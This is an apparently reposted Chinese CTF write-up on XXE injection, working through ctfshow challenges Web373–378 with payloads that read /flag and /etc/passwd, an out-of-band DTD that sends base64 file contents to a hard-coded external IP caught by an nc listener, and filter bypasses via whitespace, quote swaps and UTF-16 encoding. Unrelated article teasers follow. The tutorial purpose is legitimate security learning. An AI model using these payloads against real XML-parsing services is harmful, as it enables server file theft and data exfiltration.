【CTF-Web】XXE学习笔记(附ctfshow例题)

news2024/12/24 21:06:42

XXE

文章目录

  • XXE
    • 0x01 前置知识汇总
      • XML
      • DTD (Document Type Definition)
    • 0x02 XXE
    • 0x03 XXE危害
    • 0x04 攻击方式
      • 1. 通过File协议读取文件
        • Web373(有回显)
        • Web374(无回显)
      • Web375
      • Web376
      • Web377
      • Web378

0x01 前置知识汇总

XML

可扩展标记语言(eXtensible Markup Language)

区分XML和HTML:

XML用于传输和存储数据,聚焦与数据的内容

HTML用于显示数据,聚焦于数据的外观

XML用途:

  1. 数据分离

​ 将HTML中的数据分离,当动态修改数据时可以将独立存储在XML文件中的数据读取调用,避免对HTML进行任何改变,只需要利用JavaScript代码读取外部XML文件

XML语法:

  1. 树形结构 必须具有根元素
<root>
  <child>
    <subchild>.....</subchild>
  </child>
</root>

举例:

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note> 
  1. 声明 : <?xml version="1.0" encoding="utf-8"?>
  2. 标签中大小写敏感
  3. 属性值必须加引号
  4. 实体引用

一些字符拥有特殊含义 所以使用实体引用代替特殊字符

<message>if salary < 1000 then</message>
<!--上面的<是特殊字符 在解析器中会把他当做新元素的开始 修改如下-->
<message>if salary &lt; 1000 then</message>

DTD (Document Type Definition)

作用:

在XML文档中加入DTD声明可以告诉XML解析器该文档遵循哪个DTD文档类型,对文档进行验证,以确保文档正确性。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rootElement SYSTEM "example.dtd">
<rootElement>
  <childElement>Hello World!</childElement>
</rootElement>

限制:

<!ELEMENT:

image-20230924115440974

0x02 XXE

什么是XXE :构造恶意DTD 主要是利用实体引用

实体引用介绍:

一、通用实体

  1. 内部实体(无SYSTEM 不需要引用外部文件)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
        <!ELEMENT foo ANY >  <!--定义元素为any 说明接收任何元素 -->
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

在user标签里面 使用&进行引用 解析输出的时候就会被test替换

  1. 外部实体(带有SYSTEM 需要请求外部文件)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

相当于在dtd文档中创建了外部实体xxe 该实体的作用是读取本地文件

当解析xml文档的时候会遇到&xxe 会自动执行读取文件的操作

上面的SYSTEM 引用的方法还可以使用公用DTD的方法操作

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名" “公用DTD的URI">


二、参数实体

定义:% 实体名

引用:%实体名;

特点:类似上面通用实体 支持外部引用

举例:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

0x03 XXE危害

  • file://xxx读取文件
  • SSRF攻击
  • 盲注 信息数据泄露
  • 结合文件上传 getshell

0x04 攻击方式

1. 通过File协议读取文件

题目原始post的数据

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

我们通过抓包后修改post传输代码

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<comment>
<text>&test;</text>
</comment>

解析时实现对指定文件的读取

上例题:

Web373(有回显)

前置语言基础:

libxml_disable_entity_loader(false); 

将xml引用外部实体禁用 但是不知道对这个题目有什么影响

$xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){   
 $dom = new DOMDocument();   
 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);   
 $creds = simplexml_import_dom($dom);   
 $ctfshow = $creds->ctfshow;  
 echo $ctfshow;
} 

创建DOMDocument对象 加载XML文件

在XML文件中在提取ctfshow 标签内的内容 进行echo显示

解题:

首先存在php://input 读取我们抓包发送的内容

那么我们就可以写一个xml文件

然后在ctfshow标签中引用外部实体 读取flag文件

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<happy>
<ctfshow>&cmd;</ctfshow>
</happy>

image-20230924164709129

#test.dtd
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://154.8.183.198:10086/%file;'> ">
%dtd;
%xxe;
Web374(无回显)

首先我们来关注一下源码 看看这道题和上一道题有什么区别

if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
} 

仍然存在XML文档的加载,但是555 没有echo回显了,那么题目服务器的内容我们看不到

怎么做!

上我们自己的服务器~ 将内容带出

分为两个部分:一个是直接让我们的题目服务器解析的xml文档语句,一个是我们存放在我们自己的vps上的外部dtd文档,然后在题目服务器xml解析时对我们的vps发起请求,然后在vps中将获得的内容传输到端口监听中

  1. 使用php://filter 获取目标文件内容,然后将内容以http请求的方式发送到我们的vps上
<?xml version="1.0" encoding="UTF-8"?>
<!-- 格式约束-->
<!DOCTYPE updateProfile [
        <!--使用伪协议读取题目服务器中的文件-->
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> 
        <!--写在我们服务器的dtd文件-->
    <!ENTITY % dtds SYSTEM "http://154.8.183.198/test/test.dtd">
        <!--解析dtd的时候把外部的dtd文件放过来-->
    %dtds;
]>
        
<!--补全形式-->      
<root>
1
</root>
  1. 放在我们服务器上的内容
<!ENTITY % dtd "<!ENTITY &#x25; showflag SYSTEM 'http://ip:port/%file;'>">
<!--evil.dtd的内容,内部的%号要进行实体编码成&#x25;  相当于% showflag-->
%dtd;
%showflag;

梳理一下整个执行过程:

首先在1中会解析%dtds 去调用2的内容

然后2的内容展示在面板上之后会触发2中%dtd的解析 将2中内层嵌套的语句加载到面板上

然后解析%showflag 去加载SYSTEM的语句,访问我们的vps,同时携带file获得的数据,其中%file获得已经在面板中1里面的请求。

注意!一定要注意 POST传输的数据里面一定不要和vps中的文件里面定义的变量重名。比如vps中设置的是dtd我们POST传输的时候需要dtds或者其他任意的。


避坑:

  1. 自己服务器的端口一定要放通!!!要不然根本无法请求

image-20230924212241500

然后在bp中POST传入我们的payload

在自己的服务器开启监听nc -lnvp 10086 就可以获得flag啦!

Web375

继续与上题进行类比我们可以发现增加的是对xml头的整个语句的正则匹配

注意这里的正则匹配是针对整个语句的匹配,只要这里面有地方改变就会绕过这种正则匹配

<\?xml version="1\.0" 注意这里的\表示特殊符号的转义

所以说整体的匹配语句就是<?xml version="1.0"的限制

绕过方法一:

直接不写了,传一下试试

<!-- 要引用(dtd里面),所以要加百分号% -->
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 -->
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % dtds SYSTEM "http://xxx/test/test.dtd">

    %dtds;
]> 
<!-- 不能直接<!ENTITY  % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制-->
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(&#x25; vps),那就会解析(&#x25; vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
总结就是,%myurl 这种引用会自动向地址发送请求。 -->

<root>
1
</root>

绕过方法二:

添加空格

<?xml version="1.0" encoding="UTF-8"?>
<!-- 上面是限制的语句-->
<?xml  version="1.0" encoding="UTF-8"?>
<!-- 我们多添加一个空格就和整个句子不同了-->

绕过方法三:

引号替换绕过

<?xml version="1.0" encoding="UTF-8"?>
<!-- 上面是限制的语句-->
<?xml  version='1.0' encoding="UTF-8"?>
<!-- 我们双引号换成单引号就和整个句子不同了-->

Web376

关注和上一题的区别:

if(preg_match('/<\?xml version="1\.0"/i', $xmlfile))

在结尾出多了一个/i 表示整个匹配不区分大小写

和上题的payload相同

此外还想补充一下:注意前面我们说到的

image-20230925184502400

看到这个题目我本来想上一题是不是还可以大小写绕过 于是我退回去重做,发现大小写绕过根本走不通!

Web377

同样先看与上一题的区别

if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile))

增添了对http的限制

在xml文档的编码中,不仅仅支持utf-8编码 同时也支持utf-16编码,所以我们可以将payload转为utf-16编码然后post传送数据

import requests

url = "http://c5cd315f-3854-4073-b5dc-42c8d51f32e4.challenge.ctf.show/"
payload = '''
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % dtds SYSTEM "http://154.8.183.198/test/test.dtd">

    %dtds;
]> 

<root>
1
</root>'''
payload = payload.encode('utf-8')
print(payload)
re = requests.post(url, data=payload)
print(re.text)
#b'\xff\xfe\n\x00<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00 \x00h\x00a\x00c\x00k\x00e\x00r\x00[\x00\n\x00 \x00 \x00 \x00 \x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00 \x00%\x00 \x00f\x00i\x00l\x00e\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00p\x00h\x00p\x00:\x00/\x00/\x00f\x00i\x00l\x00t\x00e\x00r\x00/\x00r\x00e\x00a\x00d\x00=\x00c\x00o\x00n\x00v\x00e\x00r\x00t\x00.\x00b\x00a\x00s\x00e\x006\x004\x00-\x00e\x00n\x00c\x00o\x00d\x00e\x00/\x00r\x00e\x00s\x00o\x00u\x00r\x00c\x00e\x00=\x00/\x00f\x00l\x00a\x00g\x00"\x00>\x00\n\x00 \x00 \x00 \x00 \x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00 \x00%\x00 \x00d\x00t\x00d\x00s\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x001\x005\x004\x00.\x008\x00.\x001\x008\x003\x00.\x001\x009\x008\x00/\x00t\x00e\x00s\x00t\x00/\x00t\x00e\x00s\x00t\x00.\x00d\x00t\x00d\x00"\x00>\x00\n\x00\n\x00 \x00 \x00 \x00 \x00%\x00d\x00t\x00d\x00s\x00;\x00\n\x00]\x00>\x00 \x00\n\x00\n\x00<\x00r\x00o\x00o\x00t\x00>\x00\n\x001\x00\n\x00<\x00/\x00r\x00o\x00o\x00t\x00>\x00'

我们发现编码后http彻底绕过

在nc中成功获得flag

image-20230925201910124

Web378

打开后是一个登录界面,ctrl+u 查看一下源码,

image-20230925203011487

一眼发现了post穿xml的内容

所以首先我们定义一个变量,用于读取flag文件

然后在输入框中引用外部实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username><password>&cmd;</password></user>

image-20230925203139250

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1715493.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【YashanDB知识库】ODBC驱动类问题定位方法

【标题】ODBC驱动类问题定位方法 【需求分类】故障分析 【关键字】ODBC 【需求描述】由于我们的ODBC接口目前尚不完善&#xff0c;经常会遇见ODBC接口能力不足导致应用功能无法运行的问题&#xff0c;需要定位手段确定底层是哪个接口报错 【需求原因分析】方便一线数据库管…

【408真题】2009-27

“接”是针对题目进行必要的分析&#xff0c;比较简略&#xff1b; “化”是对题目中所涉及到的知识点进行详细解释&#xff1b; “发”是对此题型的解题套路总结&#xff0c;并结合历年真题或者典型例题进行运用。 涉及到的知识全部来源于王道各科教材&#xff08;2025版&…

牛客热题:数据流中的中位数

&#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;力扣刷题日记 &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 文章目录 牛客热题&#xff1a;数据流中的中位数题目链接方法一…

Marin说PCB之如何在主板上补偿链路中的走线的等长误差?

一场雨把我困在这里&#xff0c;你冷漠地看我没有穿雨衣淋成落汤鸡。今天刚刚出门时候看天气预报没有雨&#xff0c;于是我就没有带雨衣骑电动车去公司了&#xff0c;谁知道回来的路上被淋成狗了。天气预报就像是女人的脾气那样&#xff0c;不能完全相信的。 好了&#xff0c;我…

MATLAB分类与判别模型算法: 快速近邻法(FastNN)分类程序【含Matlab源码 MX_005期】

算法思路介绍&#xff1a; 1. 数据准备阶段&#xff1a; 生成一个合成数据集 X&#xff0c;其中包含三个簇&#xff0c;每个簇分布在不同的区域。 定义聚类层数 L 和每个层次的子集数量 l。 2. 聚类阶段&#xff1a; 使用K均值聚类算法将初始数据集 X 分成 l 个簇。…

大模型对齐方法笔记二:基于Rank的对齐方法RRHF和PRO

文章目录 RRHFPRO将RLHF嫁接到PRO 参考资料 RRHF RRHF(Rank Responses to align Human Feedback)出自2023年4月的论文《RRHF: Rank Responses to Align Language Models with Human Feedback without tears》&#xff0c;是较早提出的不需要使用PPO来对齐人类偏好的方法。 设…

五个超级好用的Prompt网站,让你的GPT效率碾压旁人!

五个超级好用的Prompt网站&#xff0c;让你的GPT效率碾压旁人&#xff01; 1. 150 Best ChatGPT Prompts for All Kinds of Workflow 该网站包含了150个能够显著提升工作流程效率的ChatGPT Prompt。从制作引人入胜的内容到简化项目&#xff0c;这些提示应该有助于将 ChatGPT …

【高频】redis快的原因

相关问题&#xff1a; 1.为什么Redis能够如此快速地进行数据存储和检索&#xff1f; 2.Redis作为内存数据库,其内存存储有什么优势吗? 3.Redis的网络模型有何特点,如何帮助提升性能? 一、问题回答 Redis使用了内存数据结构&#xff0c;例如字符串、哈希表、列表、集合、有…

QT系列教程(5) 模态对话框消息传递

模态对话框接受和拒绝消息 我们创建一个模态对话框&#xff0c;调用exec函数后可以根据其返回值进行不同的处理&#xff0c;exec的返回值有两种&#xff0c;Qt的官方文档记录的为 QDialog::Accepted QDialog::RejectedAccepted 表示接受消息&#xff0c; Rejected表示拒绝消息…

可视化大屏:随意堆数据,错!要主次分明、重点突出,动静结合。

可视化大屏是一种展示数据的方式&#xff0c;它的设计应该遵循一些原则&#xff0c;以确保信息的传递和理解效果最佳。以下是一些关键点&#xff0c;可以帮助设计出主次分明、重点突出、动静结合的可视化大屏&#xff1a; 定义目标和重点&#xff1a; 在开始设计可视化大屏之前…

【ESP32之旅】ESP32 PlatformIO 固件单独烧录

背景 有时候使用PIO编写的代码需要发给客户去验证&#xff0c;相比较于发送源码直接发送bin文件&#xff0c;更加的安全而且高效。不用担心源码的泄漏&#xff0c;也不用帮客户配置PIO环境。 操作方法 1.编译 首先进行代码编译&#xff0c;如编译成功会在 .pio\build\airm2…

LazyVim笔记

回到上次编辑的位置 gi非常的方便。 neo-tree KeyDescriptionMode<leader>beBuffer Explorern<leader>eExplorer NeoTree (Root Dir)n<leader>EExplorer NeoTree (cwd)n<leader>feExplorer NeoTree (Root Dir)n<leader>fEExplorer NeoTree (c…

【C language】统计某数中二进制1的个数

题解&#xff1a;统计某数中二进制1的个数(取模法 看某位是1/0法 干掉最右边的1法) 目录 1.题目2.取模法3.看某位是1/04.干掉最右边的1 1.题目 题目&#xff1a;设计一个程序&#xff0c;统计某数中二进制1的个数 2.取模法 int main() {int num 15;int count 0;while (n…

计算机毕业设计 | SpringBoot+vue仓库管理系统(附源码)

1&#xff0c;绪论 1.1 项目背景 随着电子计算机技术和信息网络技术的发明和应用&#xff0c;使着人类社会从工业经济时代向知识经济时代发展。在这个知识经济时代里&#xff0c;仓库管理系统将会成为企业生产以及运作不可缺少的管理工具。这个仓库管理系统是由&#xff1a;一…

浏览器修改后端返回值

模拟接口响应和网页内容 通过本地覆盖可以模拟接口返回值和响应头&#xff0c;无需 mock 数据工具&#xff0c;比如&#xff08;Requestly&#xff09;&#xff0c;无需等待后端支持&#xff0c;快速复现在一些数据下的 BUG 等。在 DevTools 可以直接修改你想要的 Fetch/XHR 接…

React-基础样式控制

组件基础样式方案 React组件基础的样式控制有两种方式 1、行内样式&#xff08;不推荐&#xff09; 属性名是多个单词的需要使用驼峰写法 也可以把样式都提取到一个变量里&#xff0c;再赋值到style里 2、class类名控制

应急手持气象站:现代气象监测的便携神器

TH-SQ5手持气象站&#xff0c;作为现代气象监测技术的杰出代表&#xff0c;凭借其独特的便携性、全面的功能以及精准的数据采集能力&#xff0c;已经成为了气象监测领域的得力助手。这款小巧而强大的设备&#xff0c;不仅集成了风速、风向、温度、湿度、气压和海拔等多项气象要…

Linux网络编程: udp,tcp协议原理

Linux网络编程: udp,tcp协议原理 一.udp和tcp的介绍1.udp介绍1.udp的特点2.udp的适用场景3.udp效率分析 2.tcp介绍1.tcp的特点2.tcp的适用场景 二.udp协议原理1.udp协议段格式2.udp的缓冲区和全双工通信 三.tcp协议段1.tcp协议段格式2.发送接收缓冲区3.确认应答ACK机制,窗口大小…

Shell脚本的分支语句,循环语句

分支语句 if 表达式 then 命令表 fi 如果表达式为真&#xff0c;则执行命令表中的命令&#xff0c;否则退出。执行fi后的语句。 给文件权限:chmod 0777 文件名 输出: ./文件名 grep 查找用户名&#xff0c;管道wc -l 统计字符 2.多路分支语句 记得给文件名权限喔&#x…

2024年四川省三支一扶报名流程图解✅

2024年四川省三支一扶报名流程图解✅ &#x1f534;时间安排 1、报名时间&#xff1a;5月31日—6月4日17:00 2、资格初审时间&#xff1a;5月31日—6月5日17:00 3、准考证打印时间&#xff1a;6月25日—6月29日 4、笔试时间&#xff1a;6月30日 5、笔试成绩&#xff1a;7…